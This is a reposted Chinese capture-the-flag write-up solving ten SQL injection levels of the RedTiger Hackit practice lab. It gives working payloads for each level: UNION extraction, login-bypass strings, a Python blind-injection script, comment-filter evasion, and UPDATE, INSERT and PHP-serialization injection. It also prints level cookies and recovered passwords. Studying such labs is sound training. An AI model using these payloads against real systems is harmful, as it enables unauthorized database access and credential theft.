RedTigers Hackit SQL 注入题解

今天在一个QQ群看到有同学做http://redtiger.labs.overthewire.org/上的题目。随手做了几题,发现还有点意思,有的题目我也一时想不到思路。工作忙,没有时间一一测试,搜索发现了 http://blog.spoock.com/2016/07/25/redtiger-writeup/,这篇文章的作者对10个题目做了解答。 答案没有做验证,原题目有可能已经更新,不过思路都可以做参考。

同时要说的是,很多同学拿到答案就失去了思考,没有学习思路,也没有探讨这些注入技巧和思路的本质。这样你是学不到新的东西的。

--------------------------------------------------------------------------------------------------------

以下是原文

--------------------------------------------------------------------------------------------------------

Redtiger Hackit Writeup

发表于 2016-07-25

做了hackinglab上面的SQL注入题目之后,我有发现了一个新的SQL注入的练习平台,RedTigers Hackit。这个平台上面的一幕也是相当的不错的。相比hackinglab上面考察的常规的SQL注入类型的,redtiger上面的题目更多的考察的是对于程序逻辑的思考,需要思考后台php代码是如何编写的。如果有一定的网站编写经验或者是网站的渗透经验,那么做这些题目会比较的简单。redtiger也在wechall上面的合作平台,可以通过做redtiger来获取flag然后提交到wechall上面就可以获取积分了。突然发现了wechall有可以玩好久了。

Level 1

题目链接

Welcome to level 1 Lets start with a simple injection. Target: Get the login for the user Hornoxe Hint: You really need one? omg -_- Tablename: level1_users 发现在http://redtiger.labs.overthewire.org/level1.php?cat=1中的cat是一个注入点,那么接下来就是常规的SQL注入顺序了。得到字段长度,得到显示位,然后按照题目的要求得到用户名和密码。那么最后的payload是:

1

http://redtiger.labs.overthewire.org/level1.php?cat=1 Union select 1,2,username,password from level1_users

Level 2

题目链接

A simple loginbypass Target: Login Hint: Condition

见到登陆的题目就猜解可以使用万能用户名或者是万能密码。在后台对于登陆的SQL语句的编写一般都是下面这种写法。 select * from users where username='[inputname]' and password='[inputpassword]' 常见的万能用户名:

admin' or 1=1%23
admin' or '1'='1
admin' or '1'='1'%23
admin')or('1'='1

常见的万能密码:

2
'or 1%23
')or(1

经过尝试,最终的payload是:

1

username=admin&password='or 1%23&login=Login

Level 3

题目链接

Target: Get the password of the user Admin. Hint: Try to get an error. Tablename: level3_users

这道题目当时没有做出来,是看了别人的writeup之后,才后知后觉的。题目的提示是Try to get an error,那么我们使用usr变为一个数组,然后进行提交。

1

http://redtiger.labs.overthewire.org/level3.php?usr[]=YWJj

然后我们就顺利地得到了一条出错信息了。Warning: preg_match() expects parameter 2 to be string, array given in /var/www/hackit/urlcrypt.inc on line 21。关于inc文件,网上查找了一段话。

.inc 文件,顾名思义就是include file,实际上文件的后缀对于文件包含是无所谓,你可以包含一个asp文件,也可以包含txt文。一般我们使用inc作为后缀,是因为这样能体现该文件的作用。

那就说明inc文件可以是任意的文件,我们将inc文件下载下来。查看代码。

<?php
        
    function encrypt($str)
    {
        $cryptedstr = "";
        for ($i =0; $i < strlen($str); $i++)
        {
            $temp = ord(substr($str,$i,1)) ^ 192;
            
            while(strlen($temp)<3)
            {
                $temp = "0".$temp;
            }
            $cryptedstr .= $temp. "";
        }
        return base64_encode($cryptedstr);
    }
  
    function decrypt ($str)
    {
        if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str))
        {
            $str = base64_decode($str);
            if ($str != "" && $str != null && $str != false)
            {
                $decStr = "";
                
                for ($i=0; $i < strlen($str); $i+=3)
                {
                    $array[$i/3] = substr($str,$i,3);
                }

                foreach($array as $s)
                {
                    $a = $s^192;
                    $decStr .= chr($a);
                }
                
                return $decStr;
            }
            return false;
        }
        return false;
    }
?>

这个就是用来对传入的参数的usr进行加密和解密的代码。 既然知道了usr参数的加密和解密算法,那么我们需要做的就是按照常规的SQL注入思路,得到查找字段的长度,得到显示位,然后得到用户名和密码。

#1 得到字段长度
原始语句:http://localhost/test/getuname.php?usr=Admin' order by 7%23
加密后:http://redtiger.labs.overthewire.org/level3.php
?usr=MTI5MTY0MTczMTY5MTc0MjMxMjI0MTc1MTc4MTY0MTY1MTc4MjI0MTYyMTg1MjI0MjQ4MjI3
#得到字段长度是7

#2 得到显示位
原始语句:http://localhost/test/getuname.php?usr=spoock' union select 1,2,3,4,5,6,7%23
加密后:http://redtiger.labs.overthewire.org/level3.php?
usr=MTc5MTc2MTc1MTc1MTYzMTcxMjMxMjI0MTgxMTc0MTY5MTc1MTc0MjI0MTc5MTY1MTcyMTY1MTYzMTgwMjI0MjQxMjM2MjQyMjM2MjQzMjM2MjQ0MjM2MjQ1MjM2MjQ2MjM2MjQ3MjI3
#得到显示位是2,6,7,5,4

#3 得到用户名和密码
原始语句:http://localhost/test/getuname.php
?usr=spoock' union select 1,password,3,4,5,6,7 from level3_users where username=0x41646d696e%23
加密后:http://redtiger.labs.overthewire.org/level3.php
?usr=
MTc5MTc2MTc1MTc1MTYzMTcxMjMxMjI0MTgxMTc0MTY5MTc1MTc0MjI0MTc5MTY1MTcyMTY1MTYzMTgwMjI0MjQxMjM2MTc2MTYxMTc5MTc5MTgzMTc1MTc4MTY0MjM2MjQzMjM2MjQ0MjM2MjQ1MjM2MjQ2MjM2MjQ3MjI0MTY2MTc4MTc1MTczMjI0MTcyMTY1MTgyMTY1MTcyMjQzMTU5MTgxMTc5MTY1MTc4MTc5MjI0MTgzMTY4MTY1MTc4MTY1MjI0MTgxMTc5MTY1MTc4MTc0MTYxMTczMTY1MjUzMjQwMTg0MjQ0MjQxMjQ2MjQ0MjQ2MTY0MjQ2MjQ5MjQ2MTY1MjI3

最终就会得到Admin的密码。 其实这道题目还是考察常规的SQL注入,但是最困难的地方是在于使用usr的数组形式usr[]来进行报错,通过这种报错的方法来得到usr的加密方式,最终来执行自己的payload。看来做这种题目还是需要脑洞大开呀。

Level 4

题目链接

Target: Get the value of the first entry in table level4_secret in column keyword Disabled: like

这道题目看起来是一个布尔盲注。 关于如何进行布尔盲注,可以参考我自己写的文章,SQL注入入门(三),这篇文章就是专门将如何进行布尔盲注的。那么在这里我就不进行说明了直接给出Python盲注代码。

def get_data_char(i):
    url_template = "http://redtiger.labs.overthewire.org/level4.php?id=2 or ascii(substr((select keyword from level4_secret),{0},1))>{1}"
    def exe_get(url):
        cookies={
            "level2login":"easylevelsareeasy_!",
            "level3login":"securitycat_says_meow_and_likes_cheese",
            "level4login":"dont_publish_solutions_GRR!"
        }
        response = requests.get(url,cookies=cookies)
        html = response.text
        match = re.search('0',html)
        # 表示值偏大
        if match:
            return -1
        #表示值偏小
        else:
            return 1
    low,high = 48,126
    while low<=high:
        mid = (low+high)//2
        url = url_template.format(i,mid)
        result = exe_get(url)
        if result>0:
            low = mid+1
        else:
            high=mid-1
        print(low,high,mid)
    print(low)
    return low

def get_data():
    data=""
    for i in range(1,18):
        char=get_data_char(i)
        data += chr(char)
        print(data)
get_data()

最终就可以得到payload了

Level 5

题目链接

Target: Bypass the login Disabled: substring , substr, ( , ), mid Hints: its not a blind, the password is md5-crypted, watch the login errors

题目已经提示了密码是使用md5加密的,那么又是一个比较简单的登陆的md5加密了。唯一不同的是之前要使用order by得到查询字段的长度,然后将其中的一个替换为md5的值。这道题目也是比较的简单,不做过多的解释。直接给出payload:

1

username=a' union select 1,'c4ca4238a0b923820dcc509a6f75849b'%23&password=1&login=Login

Level 6

题目链接

Welcome to Level 6 Target: Get the first user in table level6_users with status 1

通过在测试:

1

http://redtiger.labs.overthewire.org/level6.php?user=1'

页面报错为Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in /var/www/hackit/level6.php on line 27 User not found,那么说明在user字段是存在sql注入的。对于id这样的sql注入方式又是常规的sql注入步骤。

#得到查选的字段数
http://redtiger.labs.overthewire.org/level6.php?user=1 order by 5 %23
#得到字段数是5

得到显示位

1

http://redtiger.labs.overthewire.org/level6.php?user=0 union select 1,2,3,4,5 %23

此时发现程序并没有如期返回显示为,而是返回User not found。于是我有进行了如下的尝试。

1

http://redtiger.labs.overthewire.org/level6.php?user=0 union select 1,2,3,4,5 from level6_users where status=1%23

页面显示的结果仍然是User not found。这个时候我就比较的郁闷了,理论上应该是有结果的。于是我将其中的1,2,3,4,5修改为username。当我将其中的第二个字段修改为username的时候,页面就可以正常显示了。 但是我试着将其他的字段修改为password,但是我发现无论是将password放在那个显示位,程序都没有发生变化。 那么此时我猜想后台可能是进行了2次SQL语句的查询。以下就是我猜想后台的PHp代码。

$sql = "select username,password from level6_users where id=1";
$result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' );
$row1 = mysql_fetch_row($result);
#从结果中取出username字段
$username = $row1[1];
$sql2 = "select username,email from level6_users where username="."'".$username."'";

那么我们只需要将username字段进行注入就可以了。我们写的payload为

1

http://redtiger.labs.overthewire.org/level6.php?user=0 union select 1,admin1' union select 1,2,3,password,5 from level6_users where status=1#,3,4,5%23

但是页面最后返回的结果是Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in /var/www/hackit/level6.php on line 27 User not found,那么可能就是因为在username中存在admin1'....这样的语句被后台过滤了,那么尝试使用十六进制来进行绕过。

1

http://redtiger.labs.overthewire.org/level6.php?user=0 union select 1,0x61646d696e312720756e696f6e2073656c65637420312c322c332c70617373776f72642c352066726f6d206c6576656c365f7573657273207768657265207374617475733d3123,3,4,5%23

页面显示的结果如下

这样就知道了admin的密码是m0nsterk1ll

Level 7

题目链接

Target: Get the name of the user who posted the news about google. Table: level7_news column: autor Restrictions: no comments, no substr, no substring, no ascii, no mid, no like

这道题目已经明确地说明了后台程序已经屏蔽了注释、substr()函数,substring()、ascii()函数,mid()函数,like关键字。那么注入过程中这些都是无法使用的。 这道题目表面上看就是一个正常搜索新闻的例子,当我们输入在搜索框中输入内容之后,页面上就会正常的显示搜索的内容。当我输入的文本包含了'的时候,情况就会发生变化。 页面返回的内容是:

页面返回错误,那就说明search关键字存在SQL注入了,同时是一个字符型的注入。通过SQL语句的报错信息,我们还知道后台的SQL语句的写法是:

1

select new.*,text.text,text.title from level7_news news,level7_texts text where text.id=news.id and(text.text like'%searchinput%' or text.title.like '%searchinput%')

这样的SQL语句看起来后台只有使用union子句才能够最终得到目的,那么必须使用注释了。我就尝试使用#,%23的时候:

12

search=1'%)#&dosearch=search%21search=1'%)%23&dosearch=search%21

发现都被过滤了。页面显示的内容都是Some things are disabled! 接下来我用尝试使用–+的方法看是否能够绕过。当我输入的是%2d%2d%2b或者是--+的时候:

12

search=1'%)%2d%2d%2b&dosearch=search%21search=1'%)--+&dosearch=search%21

页面显示的如下内容

而当我输入的是--%20的时候,页面返回的是Some things are disabled!,那说明后台在过滤--+的时候可能存在问题。这个时候只要能够使用--的注释符那么就可以绕过后台的注释符的过滤了。 接下来我使用了%a0来代替后面的空格,那么此时我的输入变为:

1

search=1%')--%a0&dosearch=search%21

页面正常返回内容,那么我就可以使用**--%a0注释后面的内容了。接下来又是常规的思路了,首先得到字段长度,然后得到显示位。

获取字段长度

获取字段长度一般都是使用order by子句来完成的。

1

search=1%') order by 1--%a0&dosearch=search%21

但是当我使用orde by 1的时候,页面显示的是Some things are disabled!!。这个时候有可能是order by被屏蔽了。 接下来我有尝试使用大小写混淆,加入特殊的空格来进行绕过。尝试如下

123456

search=1%')%0aorder%0aby%0a1--%a0&dosearch=search%21 search=1%')%0border%0bby%0b1--%a0&dosearch=search%21search=1%')%0corder%0cby%0c1--%a0&dosearch=search%21 search=1%')%0dorder%0dby%0d1--%a0&dosearch=search%21search=1%')/**/order/**/by/**/1--%a0&dosearch=search%21search=1%')/**/oRdEr/**/bY/**/1--%a0&dosearch=search%21

发现所有的尝试都被会过滤和拦截,都没有效果。

获取显示位

虽然无法通过order by来获取字段长度,我们还可以使用union子句来获取字段长度,同时还能够获取显示位。此时就是看后台后没有过滤union子句。尝试如下:

1

search=1%') union select 1--%a0&dosearch=search%21

页面显示的内容是:

那就说明后台没有过滤union子句,那么也就意味着我们可以使用union子句来得到显示位了。 最终,我得到字段长度是4,显示位是3,4

获取autor内容

在知道了显示位之后,接下来就是需要获取autor的内容了。接下来我们使用如下的语句:

1

search=10000%')union select 1,2,autor,4 from level7_news--%a0&dosearch=search%21

得到了在level7_news中存在的所有的用户名,site_admin、press、TestUserforg00gle、apple

提交答案

根据题目的要求,我猜解TestUserforg00gle就是最终的答案。提交之后,果然是的。

Level 8

题目链接

Target: Get the password of the admin.

通过添加引号进行测试,我发现只有在email=hans%40localhost出添加引号,程序就会报错,在其他的位置加入引号程序都是可以正常地执行的。那么就说明在email=hans%40localhost处存在SQL注入。页面上显示的报错信息为You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '12345', age = '25' WHERE id = 1' at line 3。根据页面上显示的内容以及报错信息,那么我们猜测这是一个update的语句,后台的SQL语句的写法是:

1

update table set name='[inputname]',email='[inputemail]',icq='[inputicq]',age='[inputage]' where id=1

那么如何在update语句中获取我们所想要的信息呢?这个时候就需要利用到在mysql中的update的一个用法了。 如果在update中的语句,我们的写法如下。(我们假设在users表中存在id,username,email,password这4个字段)

1

update users where username=email,password='123456' where username='admin';

那么上面的这sql语句的执行效果就是将username为’admin’的记录修改为username为此记录的email,密码修改为123456。其实在mysql中,如果update语句中有fieldname1=fieldname2这样的语句就会将当前记录的fieldname2的值赋值到fieldname1上面。 知道了上面这个特性之后,那么我们的payload也很高的构造了。

1

email=hans%40localhost',name=password,icq='&name=Hans&icq=12345&age=25&edit=Edit

Level 9

题目链接

Welcome to Level 9 Target: Get username and password of any user. Tablename: level9_users Its not a blind. There is a way to get an output :) payload:

这道题目根据题目的提示一个insert语句。当点击提交查选按钮之后,就会将autor,title和text提交到后台。 测试发现,当给text添加引号时,页面就会报错。测试的payload如下:

1

autor=aa&title=bb&text=cc'&post=%CC%E1%BD%BB%B2%E9%D1%AF

页面上出现的报错信息为You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''cc'')' at line 6Autor: RedTiger。那么我们猜测后台的SQL语句的写法为:

1

insert into tablename(autor,title,text) values('[inputautor]','[inputtitle]','[inputtext]')。

那么我们就可以构造如下的payload:

1

autor=aaa&title=bbb&text=123'), ((select username from level9_users limit 1), (select password from level9_users limit 1),'456&post=%CC%E1%BD%BB%B2%E9%D1%AF

Level 10

题目链接

Target: Bypass the login. Login as TheMaster

点击页面上的提交按钮,得到提交的数据:

1

login=YToyOntzOjg6InVzZXJuYW1lIjtzOjY6Ik1vbmtleSI7czo4OiJwYXNzd29yZCI7czoxMjoiMDgxNXBhc3N3b3JkIjt9&dologin=Login

将login的值进行base64decode之后得到a:2:{s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";}。这个起初我也不知道是什么,后来看了别人的writeup之后,才知道是php的序列化之后的字符串的显示。将这段字符串使用反序列化之后得到的值为:

1234

$myarray = array( "username"=>"Monkey", "password"=>"0815password",);

而题目的要求是需要使用用户名为TheMaster进行登陆。尝试将password的值修改为数字123,那么序列化的内容变为a:2:{s:8:"username";s:4:"Dumb";s:8:"password";i:123;},然后进行base64encode之后,发现登陆失败。 那么我猜测后台的php的代码的写法为:

$new = unserialize($_GET["login"]);
$username = "'".$new["username"]."'";
$password = "'".$new["password"]."'";

$username = $new["username"];
$password = $new["password"];
$sql = "select username,password from users where username=$username and password=$password";
$result = mysql_query($sql);
if($result) {
    $row = mysql_fetch_row($result);
    echo $row["username"];
} else {
    echo "error";
}

假设是上面的这个SQL语句,那么其实只需要result存在即可。这个时候方法就有很多了。例如我们只需要将password的属性修改为boolean类型的true,那么就可以绕过检查了。所以payload的形式为:a:2:{s:8:"username";s:9:"TheMaster";s:8:"password";b:1;} 最后将这个字符串进行base64编码,YToyOntzOjg6InVzZXJuYW1lIjtzOjk6IlRoZU1hc3RlciI7czo4OiJwYXNzd29yZCI7YjoxO30=。得到就是最终的payload。

总结

相对来说这个比hackinglab上面的SQL注入的题目类型以及考察的知识点要更加的丰富。做了这个上面的题目,我才发现其实SQL注入考察不仅仅是常见的注入类型的考察,有时候你还需要去猜测后台的php的代码的编写,后台的逻辑代码的编写,只有这样才有可能会做对这些题目。总之,还是收获了很多,还需要学习的内容也有很多。

原文发布于微信公众号 - 玄魂工作室(xuanhun521)

原文发表时间:2017-08-07

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏Jack-Cui

Linux应用层系统时间写入RTC时钟的方法

Linux内核版本:linux-3.0.35 开发板:i.MX6S MY-IMX6-EK200 系统:Ubuntu12 前言:之前写过一篇关于如...

27200
来自专栏软件开发

前端MVC Vue2学习总结(七)——ES6与Module模块化、Vue-cli脚手架搭建、开发、发布项目与综合示例

使用vue-cli可以规范项目,提高开发效率,但是使用vue-cli时需要一些ECMAScript6的知识,特别是ES6中的模块管理内容,本章先介绍ES6中的基...

47270
来自专栏XAI

微信JSSDK接入Java版--步骤及问题处理和解决

微信JSSDKJava版接入--步骤及问题处理和解决 可以关注测试微信号,查看效果  服务器是个人的。请不要恶意攻击。 JSSDK使用步骤 http://mp...

2.1K110
来自专栏jeremy的技术点滴

py3_cookbook_notes_03

29430
来自专栏CSDN技术头条

c++ fstream + string 处理大数据

起因 (1)之前处理文本数据时,各种清洗数据用的都是java的File,FileReader/FileWriter,BufferedReader/Buffer...

25560
来自专栏大内老A

我所理解的Remoting(1):Marshaling & Activation[上篇]

什么是Marshaling &Activation 对任何一项分布式技术(Distributed Technology),比如Remoting,XML Web ...

20080
来自专栏liuchengxu

[译]27个Jupyter Notebook小提示与技巧

Jupyter notebook, 前身是 IPython notebook, 它是一个非常灵活的工具,有助于帮助你构建很多可读的分析,你可以在里面同时保留代码...

35320
来自专栏xingoo, 一个梦想做发明家的程序员

【插件开发】—— 11 窃听风云(Java事件监听原理-GEF实例讲解)

前文回顾: 1 插件学习篇 2 简单的建立插件工程以及模型文件分析 3 利用扩展点,开发透视图 4 SWT编程须知 5 SWT简单控件的使用与布局搭...

23050
来自专栏软件开发

前端MVC Vue2学习总结(七)——ES6与Module模块化、Vue-cli脚手架搭建、开发、发布项目与综合示例

使用vue-cli可以规范项目,提高开发效率,但是使用vue-cli时需要一些ECMAScript6的知识,特别是ES6中的模块管理内容,本章先介绍ES6中的基...

18560
来自专栏JavaEdge

高性能队列——Disruptor总论1 背景2 Java内置队列3 ArrayBlockingQueue的问题4 Disruptor的设计方案代码样例性能等待策略Log4j 2应用场景

这里所说的队列是系统内部的内存队列,而不是Kafka这样的分布式队列 Disruptor特性限于3.3.4

34530

扫码关注云+社区

领取腾讯云代金券